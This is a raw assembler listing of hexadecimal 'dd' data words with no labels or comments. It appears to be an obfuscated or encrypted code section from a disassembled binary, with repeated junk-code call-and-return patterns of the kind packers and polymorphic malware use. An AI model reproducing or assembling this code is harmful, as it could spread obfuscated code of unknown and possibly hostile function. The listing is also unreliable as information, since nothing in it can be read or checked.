		dd 9023F5A7h, 4B5735ACh, 0AF23ED65h, 412FD1E3h,	923F54Fh
		dd 47A2AEA7h, 4223F5B0h, 3107A92Eh, 8407B12Eh, 0E8144DFCh
		dd 0C4DCF506h, 1607B12Ch, 9491558h, 84201DF4h, 1903F5A7h
		dd 7DAAAE64h, 0D4A2F183h, 4838F183h, 7760F5A7h,	11470464h
		dd 3C3E7C8h, 5967C69h, 2425E189h, 52AC2226h, 864E60A4h
		dd 0FF2CF3B3h, 9E45946Dh, 0AFAE5ECCh, 0F345F3Bh, 3994782Ah
		dd 779BF3B0h, 12BBD30Ch, 842B3C22h, 0C7ECDEA1h,	4F15239Fh
		dd 0A72123F6h, 0F8537CD5h, 0A36C5F7Ch, 0A3006774h, 0A71223E8h
		dd 0E98374B2h, 8BA4F305h, 0FEF781D9h, 0E92E954Ch, 59h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 6EC35343h
		dd 726ABB18h, 0A6C51888h, 6A61FCh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0CFB739C3h, 0A1A4F6C3h
		dd 605BD874h, 12DF8166h, 0F094BF15h, 0C3613730h, 0F5C08BF9h
		dd 30B1BD83h, 75000614h, 0E1BD8309h, 6141Ah, 53501974h
		dd 0B9B8C08Bh, 89000004h, 1430C185h, 0A19D8D06h, 0FF0616B7h
		dd 83585BD3h, 141AE1BDh, 17740006h, 0B9B85350h,	89000004h
		dd 1430C185h, 429D8D06h, 0FF0616B4h, 0F5585BD3h, 5810Fh
		dd 0F9600000h, 8B615956h, 8B40F9C0h, 55006AC1h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0E544A7F2h
		dd 0EBF0E5A6h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0D9B34A27h, 8D89DAE7h
		dd 6140379h, 99858DF5h,	0B06140Fh, 140BADB5h, 0DE95006h
		dd 0E2000000h, 261E71B3h, 0A90CF97Ah, 0E50A315Fh, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0F85BC350h, 36A7C4B7h, 606440BAh,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 82F968C3h, 0F006A2Fh, 2B8Ah,	12E800h, 0A5A0000h, 66570D50h
		dd 0FD1ACF38h, 0EB33186h, 391589CEh, 0EE9h, 6E0CE800h
		dd 4BF0CAD4h, 368ECD97h, 5FFFCFC3h, 0C0E0858Dh,	6A0617h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0B54274C3h, 66BF2C42h, 0C083F78Bh, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 6690C14Eh, 9050F28Bh, 1B1DBD8Bh, 6A0614h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E0C35545h, 4E8720FFh
		dd 7683B611h, 1D9D8956h, 66061432h, 6AF08Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h, 0BE2B047Eh
		dd 0E165B8BAh, 0F080604Ch, 69958BEDh, 61061426h, 1A7195FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 6087C6C3h, 14E8F78Bh, 4C000000h, 0E5FDB3AEh
		dd 0E42CE1C5h, 0E50FAF8Eh, 0E88B2BDFh, 0F92244DEh, 9509615Fh
		dd 6140A29h, 0A8FC9D8Dh, 8D090617h, 6140E89h, 0BD01D3FFh
		dd 6143159h, 236D85FFh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0FD85F8C3h, 0AB2B3F97h
		dd 0F9BF0F65h, 0BE2F1ABEh, 11E91Dh, 40CB0000h, 91721D8Fh
		dd 23E1B23Ch, 50801526h, 0E982D2E3h, 797h, 0E8h, 0ED815D00h
		dd 617C0EAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	32C35141h, 0DE8166F0h, 0BD81613Eh, 6141AA5h, 7D0h
		dd 147860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0AE9575C3h, 4D20C59Ah, 0BF6643C0h
		dd 0BF0F1CE4h, 319D8BF3h, 66061402h, 816E91BEh,	100E3h
		dd 0FE900h, 0D9C20000h,	1E2319B0h, 0F141BEA0h, 0C89D328Eh
		dd 0FDB0B84h, 9485h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD8313BCh, 617BEBEh
		dd 14840F00h, 8B000000h, 14313DBDh, 9CE906h, 8E0F0000h
		dd 3, 0C7F6B70Fh, 17BEBE85h, 106h, 5958900h, 0E9061401h
		dd 7Eh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh
		dd 7DC35141h, 3CDCA8Bh,	0E968BBA6h, 13h, 0D9E99747h, 70BA460Dh
		dd 3721DBA9h, 7CC040F6h, 8B29703Ah, 1400E5BDh, 0BE85C706h
		dd 617BEh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0E4ABC350h, 605DEA1Fh,	0E5F38166h
		dd 4DB58B15h, 61061422h, 1C58D29h, 9D8D0614h, 6140231h
		dd 69B58BF5h, 81061402h, 0FFFEFF23h, 0ADBD8BFFh, 8906141Bh
		dd 140019B5h, 0DB8C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0F5C35646h, 56D71F07h, 0DE8166E6h, 0C3F69DDBh
		dd 4A840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0EFF3C357h,	95FF7773h
		dd 6142E45h, 14B1BD33h,	0E9900614h, 5, 98CEEF98h, 0F90504Dh
		dd 0C8Bh, 6810F00h, 89000000h, 140CD985h, 42AE906h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0EE5B8FC3h, 91FCEC5Fh, 11E85D86h, 0A3000000h, 4A1739A1h
		dd 3F132A83h, 0CCE5EAF7h, 455BFC2Eh, 0FE8h, 8678C600h
		dd 0A2C92D46h, 0F3ACBDD3h, 0E57ABAF0h, 8B665F5Fh, 6A00B0F9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 740C350h,	70E62660h, 1A15BD8Bh, 71E40614h
		dd 816650F5h, 5FBEBEDFh, 8BD8B60Fh, 6BAF2h, 0B7BE0000h
		dd 8B6D672Ah, 0C1F18BC3h, 0F08B04E8h, 0E9E2F766h, 0Dh
		dd 0DDDED395h, 8D726135h, 0A11B6FA2h, 89D82BC1h, 1422099Dh
		dd 12E95006h, 1000000h,	0FCD4C8CDh, 65255B9h, 266FF7AAh
		dd 168C9E39h, 241C8956h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 41C35040h, 4605CAD3h,	9D891262h, 6141635h
		dd 0AED8D89h, 0B5FF0614h, 6141AA5h, 4DDB533h, 11E90614h
		dd 62000000h, 1AE1EB60h, 7E08D19Fh, 0B8F40002h,	3DBA858Fh
		dd 116995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 2177A3C3h, 0D0856DBBh, 0BD8BD1E1h
		dd 6141D3Dh, 2ADD9589h,	0B00614h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0D4C35343h,	0A23E5EBh, 0EF3E478Fh
		dd 0A2F8BFD4h, 70E63EADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0E0C35343h, 613C71E4h, 27A830Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 24EE5EC3h, 0B60F842Eh, 0ADB503D8h, 0BA06142Eh, 6, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h, 74EDE114h
		dd 0F4556E4h, 6060F0BFh, 6E9h, 9B0BAB00h, 890D4583h, 1405358Dh
		dd 8D2B6106h, 6140F71h,	6AC38B61h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCB6C356h
		dd 0F0FDF483h, 0E8C1F844h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 665D6709h
		dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 2B1AE1C3h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 29CA87DCh, 1403A985h
		dd 68A0F06h, 29000000h,	1419D18Dh, 0CE95806h, 0F8000000h
		dd 0E3B63133h, 9EEA1618h, 2BAAA83Fh, 59880FD8h,	66000001h
		dd 6BC7EE81h, 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 9B6B68C7h, 0A70DA023h
		dd 31B1B58Bh, 0EE80614h, 0AF000000h, 0E59C6D30h, 2EDC874Eh
		dd 0E8BC068Ch, 6860FD9h, 0F000000h, 87h, 0C1835E00h, 0FD93B00h
		dd 0FB86h, 0D98C6600h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 19C35646h, 0E904246Ch, 0F1B58BD8h, 0F6061400h
		dd 840F04C1h, 0A3h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 8FC35343h, 98C3D907h,	85896052h, 6140D55h
		dd 820Fh, 5E610000h, 2E4595FFh,	6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8C36E1C3h
		dd 8B70BC2Eh, 141AC5B5h, 33515B06h, 1416F5B5h, 0C32B5F06h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A3C35343h
		dd 52948D24h, 3D5FF78Bh, 834h, 0D860Fh,	0BD890000h, 61412DDh
		dd 27E9h, 8BF98B00h, 52006AC0h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 85898500h, 6143499h, 0D88BC38Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E9C35545h
		dd 0F6010F0h, 68Ch, 69BD0B00h, 0E906140Eh, 7, 1BEBE2A0h
		dd 61050B7Dh, 1AF985C7h, 0E5F10614h, 6A3DD4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 57E5D7C3h
		dd 0DB19B88Eh, 0C098589h, 0C08B0614h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 37C35242h, 0AC783C37h
		dd 82DBD89h, 0BD810614h, 6141AA5h, 7D0h, 2D850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 6A2A88C3h, 0B13023EBh, 1AA585FFh, 81660614h,	0FF76DDEEh
		dd 141AA5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0B0B931ECh, 0F8B70FB9h, 0EE9h, 37DA6B00h
		dd 6489EF69h, 0B516ED5Bh, 0FF7E4D3Eh, 14116995h, 0B890F906h
		dd 12345678h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	45C35242h, 286D446Fh, 3543A3F6h, 2C9D8DF7h, 0E90617C8h
		dd 0FFFFF884h, 12EE8166h, 10820FF9h, 0E9000000h, 0Bh, 36C0BAB6h
		dd 539F8C5Dh, 8B937E7Bh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 7BB38C31h, 81665E9Eh
		dd 0EB4F50CFh, 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 8DB58B47h, 8B06141Bh
		dd 0CD8589F7h, 8D061413h, 140F9985h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 89F7B12h, 6C99314Ch
		dd 6830FA4h, 89000000h,	14253185h, 52505006h, 0FFA8B66h
		dd 5C22BF31h, 585A609Ch, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5E17C355h
		dd 0E229582Bh, 1CB5B533h, 6A0614h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0FAC35747h,	29D68356h, 67BFBE0h
		dd 11E9h, 5B43C900h, 32DF36B2h,	0C6240644h, 0F5CF9952h
		dd 85892E95h, 6142AF1h,	9589006Ah, 6141FC5h, 0CAC4858Dh
		dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0ED25A7C3h, 5C08330h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 3BC35040h, 3131B523h, 8B660614h
		dd 14E990F9h, 0D7000000h, 3E22CB86h, 7FD12C9Ch,	5FD93DAh
		dd 0FE51BFFFh, 50E6E17Fh, 0D26BBE66h, 6A96BF90h, 6A768Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7DC35343h
		dd 0F881ACEBh, 29A8946Dh, 6A006A12h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EADAC353h
		dd 7195FF4Ah, 0B06141Ah, 140E95B5h, 5880F06h, 0BF000000h
		dd 4C9CA975h, 0A8FC9D8Dh, 0B58B0617h, 6142505h,	6AD3FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0F1AFD0C3h, 0EFD0F38Ch, 0D1BD8BD6h, 0FF061404h, 14236D85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 61148EBBh, 0DF54A3h, 0C59D29EBh,	0E9061429h
		dd 0E16h, 0E8h,	0ED815D00h, 617CACEh, 2AA59589h, 0BD810614h
		dd 6141AA5h, 7D0h, 171860Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C61745C3h
		dd 899B2993h, 1424D985h, 759D8B06h, 8106141Bh, 100E3h
		dd 0EDB52900h, 0B061405h, 93850FDBh, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 7900C357h, 52BC1F9h,	0A6BD83FCh, 617C8h, 43840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 7D76C8C3h, 14E938h, 65C00000h, 78A2CCB9h, 0DEE71D22h
		dd 0B1FE4B09h, 0B2CE69C4h, 7BE9600Bh, 8B000000h, 140C71B5h
		dd 0A685C706h, 10617C8h, 1000000h, 140C3585h, 60E906h
		dd 8B660000h, 38C0FF1h,	0F000000h, 85C7F3B7h, 617C8A6h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 19C35040h
		dd 326960F0h, 0B5CCDAFEh, 5E8ACh, 0E79F0000h, 0E8F947B0h
		dd 13h,	22AA4322h, 18C1F4A7h, 52EFCCD4h, 41B4C048h, 0FC60E70Fh
		dd 9D8D5E5Eh, 6141B75h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0DAC35242h, 0FEFF2381h, 6AFFFFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 972C7AC3h, 662A5EB4h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 9B4389C3h, 0B50BCD1Bh
		dd 6142195h, 0F04C3F6h,	5384h, 5E800h, 0A1BE0000h, 89CB2C0Eh
		dd 1403B18Dh, 95FF5F06h, 6142E45h, 0E990FA8Bh, 6, 0AFDA7364h
		dd 50503FDBh, 5E952h, 35A30000h, 0FCDACD7h, 10E831h, 82420000h
		dd 1EE9C2EAh, 0BA451E2Eh, 2B94E6FDh, 850FB96Eh,	0
		dd 90585A5Fh, 40BE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0D0A6960Eh, 1E9AF98h
		dd 14E9h, 4D96D700h, 0CB137666h, 9923A279h, 0B95EF55Eh
		dd 2FB300D7h, 0AB90BEEDh, 0B02C93h, 0D073E681h,	70E66C3Fh
		dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 45B376C3h, 2A119589h, 0B60F0614h,	5E8D8h
		dd 6D710000h, 2996E813h, 1419C9BDh, 6BA5E06h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 7FE0C350h, 0BD8B2213h, 6142991h, 0AE9h, 39939600h
		dd 9065B101h, 8B0C3426h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 4E8C13Ah, 14E9h, 0D4DA7600h
		dd 98AC3406h, 0E40B160Bh, 0C35D777Fh, 303C2F7Ch, 0E2F76610h
		dd 10E9h, 0A68D4E00h, 0B7BCC31Dh, 0ECE253F8h, 49579691h
		dd 8BD82B9Bh, 140C9DBDh, 10E85006h, 0B1000000h,	656A048Fh
		dd 68A3159Bh, 986B6737h, 0E8E4FD80h, 0Ah, 7693E59Bh, 57F4226h
		dd 8B66C5F9h, 895E5EF3h, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 82940FC3h, 0BD8BAFFCh
		dd 6142661h, 0BE9h, 1FDDD800h, 0FF63A16Dh, 48A3B54Dh, 1AA5B5FFh
		dd 81660614h, 0FF80EFD6h, 14116995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 4464540Ah
		dd 1A92D0C0h, 0FB8B6062h, 7E9h,	96B8C500h, 1726C598h, 85B58B61h
		dd 0B0061403h, 0E5BD8B00h, 0E6061404h, 81BD8B70h, 0E406142Ch
		dd 2DBD8971h, 3C06140Bh, 25830F61h, 0F000002h, 0B60FFFB7h
		dd 89B589D8h, 8B06142Fh, 14106DB5h, 6BA06h, 85890000h
		dd 61409B9h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 9D01FDC3h, 6141129h, 6604E8C1h
		dd 0F766F08Bh, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 401AE8A7h, 4530B784h
		dd 6585899Ch, 2B061404h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 60E99C91h, 0A99D89E8h
		dd 58061414h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	67C35343h, 2F85F280h, 431BD29h,	0D82B0614h, 15A880Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0F604EC3h, 384h, 97DD8000h, 0B9615850h, 7
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0DFC35343h
		dd 0FAAAD4Fh, 480h, 56BE6600h, 0C18353h, 1C458589h, 81660614h
		dd 3B180DD6h, 0ED860FD9h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 463BC350h
		dd 0F7D17448h, 8C660C5Ch, 56006AD9h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 14D7810Fh
		dd 0BE24581Bh, 3CA845FCh, 0F04C1F6h, 8C84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 96BF0EF2h, 0CA02D8A5h, 0CE9h, 0A9A81400h, 1EA16E23h
		dd 0F891F696h, 0FFFB8B9Dh, 142E4595h, 0B52B5B06h, 6140611h
		dd 2A858589h, 0C32B0614h, 343DF18Bh, 0F000008h,	3486h
		dd 0DE900h, 62E50000h, 0BC4F88EFh, 0B7924703h, 0E97AB77Eh
		dd 28h,	0DE8h, 795E3500h, 3AE6EBBFh, 0F3355722h, 8B0FEDABh
		dd 0
		dd 0F78B535Fh, 0FC08B5Eh, 0B589F3BFh, 614230Dh,	0D88BC38Bh
		dd 321D8589h, 85C70614h, 6140231h, 191D6D37h, 8B0FC08Bh
		dd 7, 80616060h, 81617BC3h, 141AA5BDh, 7D006h, 0F850F00h
		dd 66000000h, 0FF89E9BFh, 141AA585h, 70DFBE06h,	0B5FF1E77h
		dd 6141AA5h, 10E8h, 7693E500h, 57F4226h, 44CDC5F9h, 0D4E2EB4Bh
		dd 8D89522Eh, 6140475h,	95FF5E5Fh, 6141169h, 3880Fh, 8B660000h
		dd 0CDB503F8h, 9006141Ch, 9B58B40h, 8306140Ch, 141CD1BDh
		dd 840F0006h, 0BDh, 0E0BB6DBFh,	0D9BD836Eh, 61403h, 0AB840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0B604DBC3h, 3EC648F8h, 0BD8BF5D8h, 614090Dh
		dd 1CD195FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F96D67C3h, 840FC00Bh, 55h, 6830Fh
		dd 95310000h, 6141021h,	4D798D8Dh, 6A0614h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0B40BC6C3h
		dd 0D4ED4122h, 319D0103h, 0B806141Bh, 5, 0EE9E1FFh, 4D000000h
		dd 49C0930Fh, 56BE2F6Eh, 16EBCF6Fh, 4DBD832Bh, 6140Eh
		dd 66A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 840F13C3h, 6, 1D71BD8Bh,	0BE660614h
		dd 0BD834CE1h, 61403D9h, 31840F00h, 6A000006h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0C5FCC351h, 218D8DD2h, 6A061411h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3F3EC357h
		dd 4720BF88h, 66609F69h, 23CBEF81h, 6145F080h, 7C8401C7h
		dd 6A44B2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 71501EC3h, 85FC603Dh, 8B53CAC9h, 0CB0181FEh
		dd 6A1499CFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0DF0EC353h, 7587AD1Ah,	0F5BD890Ch
		dd 0C706140Ch, 6B340441h, 6ACE70h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0EE44DAC3h, 10044181h
		dd 8931D6D7h, 141BE185h, 6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0A530C356h
		dd 9FB70972h, 0BF6635D4h, 858DECE0h, 6141121h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 59C35747h, 5502A500h
		dd 539060EDh, 6A90505Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 576CC355h, 0E82DB54Fh
		dd 7, 423107F7h, 53863550h, 21B18589h, 5F5F0614h, 0BDA5EF81h
		dd 95FF1E8Dh, 6140E4Dh,	11218D8Dh, 8B660614h, 75B58BF1h
		dd 0C7061409h, 1, 35BD0B00h, 0C7061434h, 441h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 23B902C3h, 0AE8FEh, 0F28B0000h, 99EF79AEh, 449EC102h
		dd 2810Fh, 61600000h, 0FC00B5Eh, 8084h,	0D9B50900h, 8D061410h
		dd 144D798Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 2F7CC35Dh, 0BD8B303Ch, 61421C5h
		dd 5B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0BA1AFAE8h, 0E837D3DCh, 0BF0F8CCAh
		dd 6AE1FFFEh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 8464C356h, 218D8D5Bh, 6A061411h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0DC79C356h, 896A0058h, 0AC3E32A9h, 5EEEC681h
		dd 1C71CB5h, 44AA727Ch,	0E8F3BF0Fh, 0Fh, 0D9B8CE4Fh, 673A6DEEh
		dd 2B2601F4h, 0FE1AF40h, 58Ch, 0CF816600h, 815EB8B3h, 99CFCB01h
		dd 0A9958914h, 0C7061406h, 753C0441h, 0DE8CE78h, 0E0000000h
		dd 7DFE5F70h, 7CFA9270h, 0E7769234h, 441815Fh, 31D6D710h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 74C35040h
		dd 0C6F35A0Ch, 9EC61E7h, 142B4D9Dh, 66006A06h, 35D7F681h
		dd 0B018589h, 858D0614h, 6141121h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0F1C35545h,	0EB38C293h, 0F8BF0F60h
		dd 0DC5E35BEh, 23BE6153h, 900EEABCh, 6650F38Bh,	906BA6BEh
		dd 13CD8D29h, 66600614h, 51C83DB8h, 19FD8D8Bh, 615F0614h
		dd 0E4D95FFh, 8D8D0614h, 6141121h, 9E8h, 0EC987700h, 28E3C667h
		dd 0B52BA71Ch, 6142F75h, 830F605Eh, 6, 2E799D8Bh, 13E80614h
		dd 0CF000000h, 0F9D04D30h, 4813CDDAh, 69D12E9Bh, 253EDDB1h
		dd 9D8BDE8Eh, 61413E1h,	1C7615Eh, 0
		dd 4FCF8166h, 556CBE97h, 41C73AD6h, 4, 0FC00B00h, 5D84h
		dd 8DBD8B00h, 8D061403h, 144D798Dh, 9BD0106h, 0B806140Bh
		dd 5, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 15h
		dd 1CC35343h, 49B58BACh, 0FF061408h, 57006AE1h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BF66A18Ch
		dd 8D8DD4B0h, 6141121h,	0C7F6B70Fh, 0CA95A501h,	51006A54h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8166106Ah, 81DF9FE6h, 99CFCB01h, 52006A14h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 441C761h, 0CE5F5969h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0D6C35141h
		dd 5C2231E7h, 81FAE249h, 0D7100441h, 8B6031D6h,	14053585h
		dd 0D1BD8906h, 61061403h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 786D54C3h, 0B5A3D097h
		dd 858DF819h, 6141121h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0A5C35545h, 3850F01h,	66000000h, 5090F08Bh
		dd 0CE8h, 9A7F9100h, 0FEAA87FCh, 0F7C78002h, 0F18B6602h
		dd 6A905Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0CB43B9C3h, 896FC0C9h, 6820Fh, 0BD8B0000h
		dd 6141BE9h, 0E4D95FFh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9DE983C3h, 0E994420Dh
		dd 10h,	835E7F35h, 6ADED69Eh, 0B0D89347h, 0A4CE838Eh, 11218D8Dh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0BE51C3h,	1C750h,	0B000000h, 1434E1BDh, 0E9FC6006h
		dd 9, 0D56E0F52h, 7480D972h, 41C761E9h,	4, 0CDB58900h
		dd 0B06141Fh, 45840FC0h, 66000000h, 0BBC4E681h,	4D798D8Dh
		dd 0D6810614h, 3B234F4Eh, 0D3C78166h, 5B85Dh, 0B70F0000h
		dd 6AE1FFFAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0FB81C350h, 95895B2Ah,	6141161h
		dd 0DE9CA03h, 6AFFFFF2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0D36EC353h,	2919589h
		dd 0C18B0614h, 3C8DBE66h, 4EBh,	8E90000h, 8A000000h, 346D98EEh
		dd 6A243DCDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0B3C353h, 0BD07737Fh, 8D0FC778h
		dd 11h,	0CE9h, 0B6135300h, 0C001864Dh, 392105F7h, 99858D97h
		dd 6A06140Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 57E0C351h, 5C5B1563h, 2BD19589h
		dd 0B58B0614h, 6141131h, 8E20BF66h, 8E990h, 0AB340000h
